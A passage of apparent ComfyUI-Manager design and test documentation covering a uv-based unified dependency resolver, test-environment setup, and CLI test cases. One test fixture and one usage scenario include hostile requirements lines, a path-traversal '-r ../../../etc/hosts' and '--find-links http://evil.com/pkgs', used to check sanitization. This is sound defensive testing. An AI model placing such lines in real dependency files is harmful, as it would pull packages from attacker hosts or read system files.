- `--extra-index-url`: Additional index URLs collected from FR-2 (multiple allowed)
|
||||
- Resolve for the current platform (platform-specific results)
|
||||
|
||||
**Error handling:**
|
||||
- Return conflict package report when resolution fails
|
||||
- Timeout handling (300s): Explicitly catch `subprocess.TimeoutExpired`, terminate child process, then fallback
|
||||
- Lockfile output file existence verification: Confirm file was actually created even when `returncode == 0`
|
||||
- Temp file cleanup: Guaranteed in `finally` block. Includes stale temp file cleanup logic at next execution for abnormal termination (SIGKILL) scenarios
|
||||
|
||||
**Output:**
|
||||
- pinned requirements.txt (file with all packages pinned to exact versions)
|
||||
|
||||
### FR-4: Pinned Requirements-based Dependency Installation
|
||||
|
||||
**Behavior:**
|
||||
- Execute `uv pip install -r <pinned-requirements.txt>`
|
||||
- **Do NOT use `uv pip sync`**: sync deletes packages not in the lockfile, risking removal of torch, ComfyUI's own dependencies, etc.
|
||||
- Already-installed packages at the same version are skipped (default uv behavior)
|
||||
- Log installation results
|
||||
|
||||
**Error handling:**
|
||||
- `uv pip install -r` is an **atomic operation** (all-or-nothing)
|
||||
- On total failure: Parse stderr for failure cause report → fallback to existing pip
|
||||
- **No partial failure report** (not possible due to uv's behavior)
|
||||
- `InstallResult`'s `installed`/`skipped` fields are populated by parsing uv stdout; `stderr` records failure cause (no separate `failed` field needed due to atomic model)
|
||||
|
||||
### FR-5: Post-install Environment Correction
|
||||
|
||||
**Behavior:**
|
||||
- Call `PIPFixer.fix_broken()` for environment integrity correction
|
||||
- Restore torch version (when change detected)
|
||||
- Fix OpenCV conflicts
|
||||
- Restore comfyui-frontend-package
|
||||
- Restore packages based on `pip_auto_fix.list`
|
||||
- **This step is already performed in the existing `execute_install_script()` flow, so the unified resolver itself doesn't need to call it**
|
||||
- However, an optional call option is provided for cases where the resolver is invoked independently outside the existing flow
|
||||
|
||||
### FR-6: install.py Execution (Existing Flow Maintained)
|
||||
|
||||
**Behavior:**
|
||||
- The unified resolver handles deps installation **at startup time only**
|
||||
- `install.py` execution is handled by the existing `execute_install_script()` flow and runs **immediately** at install time
|
||||
- Deps are deferred to startup batch resolution; `install.py` runs without waiting for deps
|
||||
|
||||
**Control flow specification (unified mode active):**
|
||||
- `execute_install_script()`: **skip** the `requirements.txt`-based individual pip install loop entirely (deps will be resolved at next restart)
|
||||
- `install.py` execution runs **immediately** as before
|
||||
- At next ComfyUI restart: `prestartup_script.py` runs the unified resolver for all installed node packs
|
||||
|
||||
**Control flow specification (unified mode inactive / fallback):**
|
||||
- Existing pip install loop runs as-is (no change)
|
||||
- `install.py` execution runs **immediately** as before
|
||||
|
||||
### FR-7: Startup Batch Resolution
|
||||
|
||||
**Behavior:**
|
||||
- When `use_unified_resolver=True`, **all dependency resolution is deferred to ComfyUI startup**
|
||||
- At install time: node pack itself is installed (git clone, etc.) and `install.py` runs immediately, but `requirements.txt` deps are **not** installed per-request
|
||||
- At startup time: `prestartup_script.py` runs the unified resolver once for all installed node packs
|
||||
|
||||
**Startup execution flow (in `prestartup_script.py`):**
|
||||
1. At **module scope** (before `execute_startup_script()` gate): check `manager_util.use_unified_resolver` flag
|
||||
2. If enabled: collect all installed node pack paths, read base requirements from `comfy_path`
|
||||
3. Create `UnifiedDepResolver` with empty blacklist/overrides/downgrade_blacklist (uv handles resolution natively)
|
||||
4. Call `resolve_and_install()` — collects all deps → compile → install in one batch
|
||||
5. On success: set `_unified_resolver_succeeded = True`, skip per-node pip in `execute_lazy_install_script()`
|
||||
6. On failure: log warning, `execute_lazy_install_script()` falls back to existing per-node pip install
|
||||
7. **Note**: Runs unconditionally when enabled, independent of `install-scripts.txt` existence
|
||||
|
||||
**`execute_install_script()` behavior in unified mode:**
|
||||
- Skip the `requirements.txt` pip install loop entirely (deps will be handled at restart)
|
||||
- `install.py` execution still runs immediately
|
||||
|
||||
**`execute_lazy_install_script()` behavior in unified mode:**
|
||||
- Skip the `requirements.txt` pip install loop (already handled by startup batch resolver)
|
||||
- `install.py` execution still runs
|
||||
|
||||
**Windows-specific behavior:**
|
||||
- Windows lazy install path also benefits from startup batch resolution
|
||||
- `try_install_script()` defers to `reserve_script()` as before for non-`instant_execution=True` installs
|
||||
|
||||
---
|
||||
|
||||
## 4. Non-functional Requirements
|
||||
|
||||
| Item | Requirement |
|
||||
|------|-------------|
|
||||
| **Performance** | Equal to or faster than existing individual installs |
|
||||
| **Stability** | Must not break the existing environment |
|
||||
| **Logging** | Log progress and results at each step (details below) |
|
||||
| **Error recovery** | Fallback to existing pip method on failure |
|
||||
| **Testing** | Unit test coverage above 80% |
|
||||
| **Security** | requirements.txt input sanitization (see FR-2), credential log redaction, subprocess list-form invocation |
|
||||
| **Concurrency** | Prevent lockfile path collisions on concurrent install requests. Use process/thread-unique suffixes or temp directories |
|
||||
| **Temp files** | Guarantee temp file cleanup on both normal and abnormal termination. Clean stale files on next execution |
|
||||
|
||||
### Logging Requirements
|
||||
|
||||
| Step | Log Level | Content |
|
||||
|------|-----------|---------|
|
||||
| Resolver start | `INFO` | Node pack count, total dependency count, mode (unified/pip) |
|
||||
| Dependency collection | `INFO` | Collection summary (collected N, skipped N, sources N) |
|
||||
| Dependency collection | `DEBUG` | Per-package collection/skip/remap details |
|
||||
| `--index-url` detection | `INFO` | Detected additional index URL list |
|
||||
| uv compile start | `INFO` | Execution command (excluding sensitive info) |
|
||||
| uv compile success | `INFO` | Pinned package count, elapsed time |
|
||||
| uv compile failure | `WARNING` | Conflict details, fallback transition notice |
|
||||
| Install start | `INFO` | Number of packages to install |
|
||||
| Install success | `INFO` | Installed/skipped/failed count summary, elapsed time |
|
||||
| Install failure | `WARNING` | Failed package list, fallback transition notice |
|
||||
| Fallback transition | `WARNING` | Transition reason, original error message |
|
||||
| Overall completion | `INFO` | Final result summary (success/fallback/failure) |
|
||||
|
||||
> **Log prefix**: All logs use `[UnifiedDepResolver]` prefix to distinguish from existing pip install logs
|
||||
|
||||
---
|
||||
|
||||
## 5. Usage Scenarios
|
||||
|
||||
### Scenario 1: Single Node Pack Installation (unified mode)
|
||||
```
|
||||
User requests installation of node pack X
|
||||
→ Git clone / download node pack X
|
||||
→ Run X's install.py (if exists) — immediately
|
||||
→ Skip per-node pip install (deps deferred)
|
||||
→ User restarts ComfyUI
|
||||
→ prestartup_script.py: Collect deps from ALL installed node packs (A,B,C,X)
|
||||
→ uv pip compile resolves fully compatible versions
|
||||
→ uv pip install -r for batch installation
|
||||
→ PIPFixer environment correction
|
||||
```
|
||||
|
||||
### Scenario 2: Multi Node Pack Batch Installation (unified mode)
|
||||
```
|
||||
User requests installation of node packs X, Y, Z
|
||||
→ Each node pack: git clone + install.py — immediately
|
||||
→ Per-node pip install skipped for all
|
||||
→ User restarts ComfyUI
|
||||
→ prestartup_script.py: Collect deps from ALL installed node packs (including X,Y,Z)
|
||||
→ Single uv pip compile → single uv pip install -r
|
||||
→ PIPFixer environment correction
|
||||
```
|
||||
|
||||
### Scenario 3: Dependency Resolution Failure (Edge Case)
|
||||
```
|
||||
Even pre-validated lists may fail due to uv version differences or platform issues
|
||||
→ uv pip compile failure → return conflict report
|
||||
→ Display conflict details to user
|
||||
→ Auto-execute existing pip fallback
|
||||
```
|
||||
|
||||
### Scenario 4: uv Not Installed
|
||||
```
|
||||
uv unavailable detected → auto-fallback to existing pip method
|
||||
→ Display uv installation recommendation to user
|
||||
```
|
||||
|
||||
### Scenario 5: Windows Lazy Installation (unified mode)
|
||||
```
|
||||
Node pack installation requested on Windows
|
||||
→ Node pack install deferred to startup (existing lazy mechanism)
|
||||
→ On next ComfyUI startup: unified resolver runs first (batch deps)
|
||||
→ execute_lazy_install_script() skips per-node pip (already resolved)
|
||||
→ install.py still runs per node pack
|
||||
```
|
||||
|
||||
### Scenario 6: Malicious/Non-standard requirements.txt
|
||||
```
|
||||
Node pack's requirements.txt contains `-r ../../../etc/hosts` or `-e git+https://...`
|
||||
→ Sanitization filter rejects the line
|
||||
→ Log rejection reason and continue processing remaining valid packages
|
||||
→ Notify user of rejected item count
|
||||
```
|
||||
|
||||
### Scenario 7: Concurrent Install Requests (unified mode)
|
||||
```
|
||||
User requests installation of node packs A and B nearly simultaneously from UI
|
||||
→ Each request: git clone + install.py immediately, deps skipped
|
||||
→ On restart: single unified resolver run handles both A and B deps together
|
||||
→ No concurrency issue (single batch at startup)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Success Metrics
|
||||
|
||||
| Metric | Target |
|
||||
|--------|--------|
|
||||
| Dependency conflict reduction | 90%+ reduction compared to current |
|
||||
| Install success rate | 99%+ (for compatibility-verified lists) |
|
||||
| Performance | Equal to or better than existing individual installs |
|
||||
| Adoption rate | 50%+ of eligible users |
|
||||
|
||||
---
|
||||
|
||||
## 7. Future Extensions
|
||||
|
||||
- ~~**`cm_global` integration** [DONE]: All `--uv-compile` CLI commands (`uv-compile`, `install`, `reinstall`, `update`, `fix`, `restore-snapshot`, `restore-dependencies`, `install-deps`) pass real `cm_global` values. Startup path (`prestartup_script.py`) still passes empty by design~~
|
||||
- Lockfile caching: Reuse for identical node pack configurations
|
||||
- Pre-install dependency conflict validation API: Check compatibility before installation
|
||||
- Dependency tree visualization: Display dependency relationships to users
|
||||
- `uv lock`-based cross-platform lockfile support (TOML format)
|
||||
- `install_manager_requirements()` integration: Resolve manager's own dependencies through unified resolver
|
||||
- `pip_install()` integration: Route UI direct installs through unified resolver
|
||||
- Legacy module (`comfyui_manager/legacy/`) unified resolver support
|
||||
|
||||
---
|
||||
|
||||
## Appendix A: Existing Code Install Path Mapping
|
||||
|
||||
> This section is reference material to clarify the unified resolver's scope of application.
|
||||
|
||||
| Install Path | Location | v1 Applied | Notes |
|
||||
|-------------|----------|------------|-------|
|
||||
| `UnifiedManager.execute_install_script()` | `glob/manager_core.py` (method) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
|
||||
| Standalone `execute_install_script()` | `glob/manager_core.py` (function) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
|
||||
| `execute_lazy_install_script()` | `prestartup_script.py` | ✅ Yes | Skips per-node pip in unified mode (already batch-resolved) |
|
||||
| Startup batch resolver | `prestartup_script.py` | ✅ Yes | **New**: Runs unified resolver once at startup for all node packs |
|
||||
| `install_manager_requirements()` | `glob/manager_core.py` | ❌ No | Manager's own deps |
|
||||
| `pip_install()` | `glob/manager_core.py` | ❌ No | UI direct install |
|
||||
| Legacy `execute_install_script()` (2 locations) | `legacy/manager_core.py` | ❌ No | Legacy paths |
|
||||
| `cm_cli uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Standalone CLI batch resolution (with `cm_global` values) |
|
||||
| `cm_cli install --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all installs |
|
||||
| `cm_cli reinstall --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all reinstalls; mutually exclusive with `--no-deps` |
|
||||
| `cm_cli update --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during updates, batch resolution after |
|
||||
| `cm_cli fix --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during dep fix, batch resolution after |
|
||||
| `cm_cli restore-snapshot --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during restore, batch resolution after |
|
||||
| `cm_cli restore-dependencies --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all node deps restored |
|
||||
| `cm_cli install-deps --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after deps-spec install |
|
||||
@@ -0,0 +1,194 @@
|
||||
# Test Environment Setup
|
||||
|
||||
Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing.
|
||||
|
||||
## Automated Setup (Recommended)
|
||||
|
||||
Three shell scripts in `tests/e2e/scripts/` automate the entire lifecycle:
|
||||
|
||||
```bash
|
||||
# 1. Setup: clone ComfyUI, create venv, install deps, symlink Manager
|
||||
E2E_ROOT=/tmp/e2e_test MANAGER_ROOT=/path/to/comfyui-manager-draft4 \
|
||||
bash tests/e2e/scripts/setup_e2e_env.sh
|
||||
|
||||
# 2. Start: launches ComfyUI in background, blocks until ready
|
||||
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/start_comfyui.sh
|
||||
|
||||
# 3. Stop: graceful SIGTERM → SIGKILL shutdown
|
||||
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/stop_comfyui.sh
|
||||
|
||||
# 4. Cleanup
|
||||
rm -rf /tmp/e2e_test
|
||||
```
|
||||
|
||||
### Script Details
|
||||
|
||||
| Script | Purpose | Input | Output |
|
||||
|--------|---------|-------|--------|
|
||||
| `setup_e2e_env.sh` | Full environment setup (8 steps) | `E2E_ROOT`, `MANAGER_ROOT`, `COMFYUI_BRANCH` (default: master), `PYTHON` (default: python3) | `E2E_ROOT=<path>` on last line |
|
||||
| `start_comfyui.sh` | Foreground-blocking launcher | `E2E_ROOT`, `PORT` (default: 8199), `TIMEOUT` (default: 120s) | `COMFYUI_PID=<pid> PORT=<port>` |
|
||||
| `stop_comfyui.sh` | Graceful shutdown | `E2E_ROOT`, `PORT` (default: 8199) | — |
|
||||
|
||||
**Idempotent**: `setup_e2e_env.sh` checks for a `.e2e_setup_complete` marker file and skips setup if the environment already exists.
|
||||
|
||||
**Blocking mechanism**: `start_comfyui.sh` uses `tail -n +1 -f | grep -q -m1 'To see the GUI'` to block until ComfyUI is ready. No polling loop needed.
|
||||
|
||||
---
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+
|
||||
- Git
|
||||
- `uv` (install via `pip install uv` or [standalone](https://docs.astral.sh/uv/getting-started/installation/))
|
||||
|
||||
## Manual Setup (Reference)
|
||||
|
||||
For understanding or debugging, the manual steps are documented below. The automated scripts execute these same steps.
|
||||
|
||||
### 1. ComfyUI Clone
|
||||
|
||||
```bash
|
||||
COMFY_ROOT=$(mktemp -d)/ComfyUI
|
||||
git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
|
||||
cd "$COMFY_ROOT"
|
||||
```
|
||||
|
||||
### 2. Virtual Environment
|
||||
|
||||
```bash
|
||||
cd "$COMFY_ROOT"
|
||||
uv venv .venv
|
||||
source .venv/bin/activate # Linux/macOS
|
||||
# .venv\Scripts\activate # Windows
|
||||
```
|
||||
|
||||
### 3. ComfyUI Dependencies
|
||||
|
||||
```bash
|
||||
# GPU (CUDA)
|
||||
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121
|
||||
|
||||
# CPU only (lightweight, for functional testing)
|
||||
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
|
||||
```
|
||||
|
||||
### 4. ComfyUI-Manager Install (Development)
|
||||
|
||||
```bash
|
||||
# MANAGER_ROOT = comfyui-manager-draft4 repository root
|
||||
MANAGER_ROOT=/path/to/comfyui-manager-draft4
|
||||
|
||||
# Editable install from current source
|
||||
uv pip install -e "$MANAGER_ROOT"
|
||||
```
|
||||
|
||||
> **Note**: Editable mode (`-e`) reflects code changes without reinstalling.
|
||||
> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable).
|
||||
|
||||
### 5. Symlink Manager into custom_nodes
|
||||
|
||||
```bash
|
||||
ln -s "$MANAGER_ROOT" "$COMFY_ROOT/custom_nodes/ComfyUI-Manager"
|
||||
```
|
||||
|
||||
### 6. Write config.ini
|
||||
|
||||
```bash
|
||||
mkdir -p "$COMFY_ROOT/user/__manager"
|
||||
cat > "$COMFY_ROOT/user/__manager/config.ini" << 'EOF'
|
||||
[default]
|
||||
use_uv = true
|
||||
use_unified_resolver = true
|
||||
EOF
|
||||
```
|
||||
|
||||
> **IMPORTANT**: The config path is `$COMFY_ROOT/user/__manager/config.ini`, resolved by `folder_paths.get_system_user_directory("manager")`. It is NOT inside the symlinked Manager directory.
|
||||
|
||||
### 7. HOME Isolation
|
||||
|
||||
```bash
|
||||
export HOME=/tmp/e2e_home
|
||||
mkdir -p "$HOME/.config" "$HOME/.local/share"
|
||||
```
|
||||
|
||||
### 8. ComfyUI Launch
|
||||
|
||||
```bash
|
||||
cd "$COMFY_ROOT"
|
||||
PYTHONUNBUFFERED=1 python main.py --enable-manager --cpu --port 8199
|
||||
```
|
||||
|
||||
| Flag | Purpose |
|
||||
|------|---------|
|
||||
| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) |
|
||||
| `--cpu` | Run without GPU (for functional testing) |
|
||||
| `--port 8199` | Use non-default port to avoid conflicts |
|
||||
| `--enable-manager-legacy-ui` | Enable legacy UI (optional) |
|
||||
| `--listen` | Allow remote connections (optional) |
|
||||
|
||||
### Key Directories
|
||||
|
||||
| Directory | Path | Description |
|
||||
|-----------|------|-------------|
|
||||
| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root |
|
||||
| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots |
|
||||
| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) |
|
||||
| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs |
|
||||
|
||||
> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`.
|
||||
> Printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
|
||||
|
||||
### Startup Sequence
|
||||
|
||||
When Manager loads successfully, the following log lines appear:
|
||||
|
||||
```
|
||||
[PRE] ComfyUI-Manager # prestartup_script.py executed
|
||||
[START] ComfyUI-Manager # manager_server.py loaded
|
||||
```
|
||||
|
||||
The `Blocked by policy` message for Manager in custom_nodes is **expected** — `should_be_disabled()` in `comfyui_manager/__init__.py` prevents legacy double-loading when Manager is already pip-installed.
|
||||
|
||||
---
|
||||
|
||||
## Caveats & Known Issues
|
||||
|
||||
### PYTHONPATH for `comfy` imports
|
||||
|
||||
ComfyUI's `comfy` package is a **local package** inside the ComfyUI directory — it is NOT pip-installed. Any code that imports from `comfy` (including `comfyui_manager.__init__`) requires `PYTHONPATH` to include the ComfyUI directory:
|
||||
|
||||
```bash
|
||||
PYTHONPATH="$COMFY_ROOT" python -c "import comfy"
|
||||
PYTHONPATH="$COMFY_ROOT" python -c "import comfyui_manager"
|
||||
```
|
||||
|
||||
The automated scripts handle this via `PYTHONPATH` in verification checks and the ComfyUI process inherits it implicitly by running from the ComfyUI directory.
|
||||
|
||||
### config.ini path
|
||||
|
||||
The config file must be at `$COMFY_ROOT/user/__manager/config.ini`, **NOT** inside the Manager symlink directory. This is resolved by `folder_paths.get_system_user_directory("manager")` at `prestartup_script.py:65-73`.
|
||||
|
||||
### Manager v4 endpoint prefix
|
||||
|
||||
All Manager endpoints use the `/v2/` prefix (e.g., `/v2/manager/queue/status`, `/v2/snapshot/get_current`). Paths without the prefix will return 404.
|
||||
|
||||
### `Blocked by policy` is expected
|
||||
|
||||
When Manager detects that it's loaded as a custom_node but is already pip-installed, it prints `Blocked by policy` and skips legacy loading. This is intentional behavior in `comfyui_manager/__init__.py:39-51`.
|
||||
|
||||
### Bash `((var++))` trap
|
||||
|
||||
Under `set -e`, `((0++))` evaluates the pre-increment value (0), and `(( 0 ))` returns exit code 1, killing the script. Use `var=$((var + 1))` instead.
|
||||
|
||||
### `git+https://` URLs in requirements.txt
|
||||
|
||||
Some node packs (e.g., Impact Pack's SAM2 dependency) use `git+https://github.com/...` URLs. The unified resolver correctly rejects these with "rejected path separator" — they must be installed separately.
|
||||
|
||||
---
|
||||
|
||||
## Cleanup
|
||||
|
||||
```bash
|
||||
deactivate
|
||||
rm -rf "$COMFY_ROOT"
|
||||
```
|
||||
@@ -0,0 +1,788 @@
|
||||
# Test Cases: Unified Dependency Resolver
|
||||
|
||||
See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.
|
||||
|
||||
## Enabling the Resolver
|
||||
|
||||
Add the following to `config.ini` (in the Manager data directory):
|
||||
|
||||
```ini
|
||||
[default]
|
||||
use_unified_resolver = true
|
||||
```
|
||||
|
||||
> Config path: `$COMFY_ROOT/user/__manager/config.ini`
|
||||
> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
|
||||
|
||||
**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.
|
||||
|
||||
## API Reference (for Runtime Tests)
|
||||
|
||||
Node pack installation at runtime uses the task queue API:
|
||||
|
||||
```
|
||||
POST http://localhost:8199/v2/manager/queue/task
|
||||
Content-Type: application/json
|
||||
```
|
||||
|
||||
> **Port**: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.
|
||||
|
||||
**Payload** (`QueueTaskItem`):
|
||||
|
||||
| Field | Type | Description |
|
||||
|-------|------|-------------|
|
||||
| `ui_id` | string | Unique task identifier (any string) |
|
||||
| `client_id` | string | Client identifier (any string) |
|
||||
| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
|
||||
| `params` | object | Operation-specific parameters (see below) |
|
||||
|
||||
**Install params** (`InstallPackParams`):
|
||||
|
||||
| Field | Type | Description |
|
||||
|-------|------|-------------|
|
||||
| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
|
||||
| `version` | string | Required by model. Set to same value as `selected_version`. |
|
||||
| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
|
||||
| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
|
||||
| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |
|
||||
|
||||
> **Note**: `cm_cli` supports unified resolver via `cm_cli uv-compile` (standalone) and
|
||||
> `cm_cli install --uv-compile` (install-time batch resolution). Without `--uv-compile`,
|
||||
> installs use per-node pip via `legacy/manager_core.py`.
|
||||
|
||||
---
|
||||
|
||||
## Out of Scope (Deferred)
|
||||
|
||||
The following are intentionally **not tested** in this version:
|
||||
|
||||
- **cm_global integration (startup path only)**: At startup (`prestartup_script.py`), `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global at startup is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in startup unified mode. Note: `cm_cli uv-compile` and `cm_cli install --uv-compile` already pass real `cm_global` values (see PRD Future Extensions).
|
||||
- **cm_cli per-node install (without --uv-compile)**: `cm_cli install` without `--uv-compile` imports from `legacy/manager_core.py` and uses per-node pip install. This is by design — use `cm_cli install --uv-compile` or `cm_cli uv-compile` for batch resolution.
|
||||
- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.
|
||||
|
||||
## CLI E2E Tests (`cm_cli uv-compile`)
|
||||
|
||||
These tests do **not** require ComfyUI server. Only a venv with `COMFYUI_PATH` set and
|
||||
the E2E environment from `setup_e2e_env.sh` are needed.
|
||||
|
||||
**Common setup**:
|
||||
```bash
|
||||
source tests/e2e/scripts/setup_e2e_env.sh # → E2E_ROOT=...
|
||||
export COMFYUI_PATH="$E2E_ROOT/comfyui"
|
||||
VENV_PY="$E2E_ROOT/venv/bin/python"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-1: Normal Batch Resolution [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a test node pack with a simple dependency:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/test_cli_pack"
|
||||
echo "chardet>=5.0" > "$COMFYUI_PATH/custom_nodes/test_cli_pack/requirements.txt"
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `Resolved N deps from M source(s)`
|
||||
- `chardet` is importable: `$VENV_PY -c "import chardet"`
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_cli_pack"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-2: No Custom Node Packs [P1]
|
||||
|
||||
**Steps**:
|
||||
1. Ensure `custom_nodes/` contains no node packs (only symlinks like `ComfyUI-Manager`
|
||||
or empty dirs may remain)
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `No custom node packs found` OR `Resolution complete (no deps needed)`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-3: uv Unavailable [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a temporary venv **without** uv:
|
||||
```bash
|
||||
python3 -m venv /tmp/no_uv_venv
|
||||
/tmp/no_uv_venv/bin/pip install comfyui-manager # or install from local
|
||||
```
|
||||
2. Ensure no standalone `uv` in PATH:
|
||||
```bash
|
||||
PATH="/tmp/no_uv_venv/bin" COMFYUI_PATH="$COMFYUI_PATH" \
|
||||
/tmp/no_uv_venv/bin/python -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 1
|
||||
- Output contains: `uv is not available`
|
||||
|
||||
**Cleanup**: `rm -rf /tmp/no_uv_venv`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-4: Conflicting Dependencies [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create two node packs with conflicting pinned versions:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_a"
|
||||
echo "numpy==1.24.0" > "$COMFYUI_PATH/custom_nodes/conflict_a/requirements.txt"
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_b"
|
||||
echo "numpy==1.26.0" > "$COMFYUI_PATH/custom_nodes/conflict_b/requirements.txt"
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 1
|
||||
- Output contains: `Resolution failed`
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/conflict_a" "$COMFYUI_PATH/custom_nodes/conflict_b"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-5: Dangerous Pattern Skip [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a node pack mixing valid and dangerous lines:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/test_dangerous"
|
||||
cat > "$COMFYUI_PATH/custom_nodes/test_dangerous/requirements.txt" << 'EOF'
|
||||
chardet>=5.0
|
||||
-r ../../../etc/hosts
|
||||
--find-links http://evil.com/pkgs
|
||||
requests>=2.28
|
||||
EOF
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `Resolved 2 deps` (chardet + requests, dangerous lines skipped)
|
||||
- `chardet` and `requests` are importable
|
||||
- Log contains: `rejected dangerous line` for the `-r` and `--find-links` lines
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_dangerous"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-6: install --uv-compile Single Pack [P0]
|
||||
|
||||
**Steps**:
|
||||
1. In clean E2E environment, install a single node pack:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli install comfyui-impact-pack --uv-compile --mode remote
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Per-node pip install does NOT run (no `Install: pip packages` in output)
|
||||
- `install.py` still executes
|
||||
- Output contains: `Resolved N deps from M source(s)`
|
||||
- Impact Pack dependencies are importable: `cv2`, `skimage`, `dill`, `scipy`, `matplotlib`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-7: install --uv-compile Multiple Packs [P0]
|
||||
|
||||
**Steps**:
|
||||
1. After TC-CLI-6 (or with impact-pack already installed), install two more packs at once:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli install comfyui-impact-subpack comfyui-inspire-pack --uv-compile --mode remote
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Both packs installed: `[INSTALLED] comfyui-impact-subpack`, `[INSTALLED] comfyui-inspire-pack`
|
||||
- Batch resolution runs once (not twice) after all installs complete
|
||||
- Resolves deps for **all** installed packs (impact + subpack + inspire + manager)
|
||||
- New dependencies importable: `cachetools`, `webcolors`, `piexif`
|
||||
- Previously installed deps (from step 1) remain intact
|
||||
|
||||
---
|
||||
|
||||
## Test Fixture Setup
|
||||
|
||||
Each TC that requires node packs should use isolated, deterministic fixtures:
|
||||
|
||||
```bash
|
||||
# Create test node pack
|
||||
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
|
||||
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"
|
||||
|
||||
# Cleanup after test
|
||||
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
|
||||
```
|
||||
|
||||
Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.
|
||||
|
||||
---
|
||||
|
||||
## TC-1: Normal Batch Resolution [P0]
|
